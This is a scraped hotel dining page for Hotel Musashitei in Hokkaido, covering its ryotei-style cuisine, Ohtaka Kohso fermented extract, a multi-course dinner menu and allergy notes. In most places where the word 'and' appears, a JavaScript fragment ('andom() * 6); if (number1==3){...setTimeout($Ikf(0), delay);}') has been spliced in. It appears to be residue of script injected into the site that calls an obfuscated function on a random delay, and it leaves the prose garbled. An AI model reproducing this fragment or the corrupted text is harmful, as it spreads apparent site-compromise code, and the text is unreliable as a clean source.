Hotel Musashitei is an accommodation known for its outstandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding food since it originated from a ryotei (traditional Japanese restaurant).
We are highly praised for our discerning seafood dishes by repeat guests not only from Hokkaido but all over Japan.
We warmly welcome our guests using seasonal ingredients.
We use Ohtaka Kohso for our dishes.
Ohtaka Kohso is a fermented food of plant extract made by fermenting vegetables, fruits, mushrooms etc. andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and it is very good for your intestine.
It is made by fermenting naturally/ageing 50 varieties of raw plant ingredients for over 180 days.
Ohtaka Kohso Co., Ltd HP → https://www.ohtakakohso.co.jp/
Please enjoy our dishes which our head chef is very proud of.
Dinner
Menu
| Pre-dinner drink | Ume Wine with Ohtaka Kohso extract |
|---|---|
| Starter | Crab andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Small Scallops mixed with Japanese Persimmon |
| Appetizer | Fried Sea Urchin andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Squid |
| Crouton Fried Shrimp | |
| Potato Vichyssoise Terrine | |
| Side dish | Slightly salted Okura with Konbu |
| Sashimi | Sliced Tuna Thinly sliced Otaru Flounder |
| Botan Shrimp Raw Fish Slice Plate Wasabi | |
| Steamed Dish | Steamed Pumpkin Gingko Nut |
| Grilled Dish | Tokachi Beef Grilled on Stone Shaped Earthenware |
| Okhotsk Scallop Vegetable Plate Andean Rock Salt Ponzu | |
| Palate Cleanser | Tomato with Jelly with Ohtaka Kohso extract Tomato Sauce on top Basil |
| Handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Rolled Sushi | Bream Sushi wrapped in Bamboo Leaf |
| Different Dish | Fried Golden Righteye Flounder Japanese Style Balsamic Sauce with Pot Herb |
| Bowl Dish | Pork Tenderly Stewed |
| Eggplant Green Pepper | |
| Meal | Uryu Organic Agrichemical Reduced Rice cooked with Ohtaka Kohso Fugen |
| Green Chili Miso | |
| Last Soup | Akkeshi Clam in Clear Soup |
| Yuzu Japanese Parsley | |
| Pickles | 3 varieties |
| Dessert | Dainagon Chocolate Tart Moussed Cheese with Berries |
| Raspberry with Kohso andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Sauce |
※Please understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and that the dishes andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and its contents may change depending on the season andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and whether the ingredients can be sourced or not.
※If you are allergic to any food, please let us know.
※In the raw ingredients of Ohtaka Kohso extract, vegetables, fruits andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and mushrooms are included andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and in the raw ingredients of Ohtaka Kohso Fugen, wheat is included.
Breakfast
| Opening hours | ７:００〜９：００ |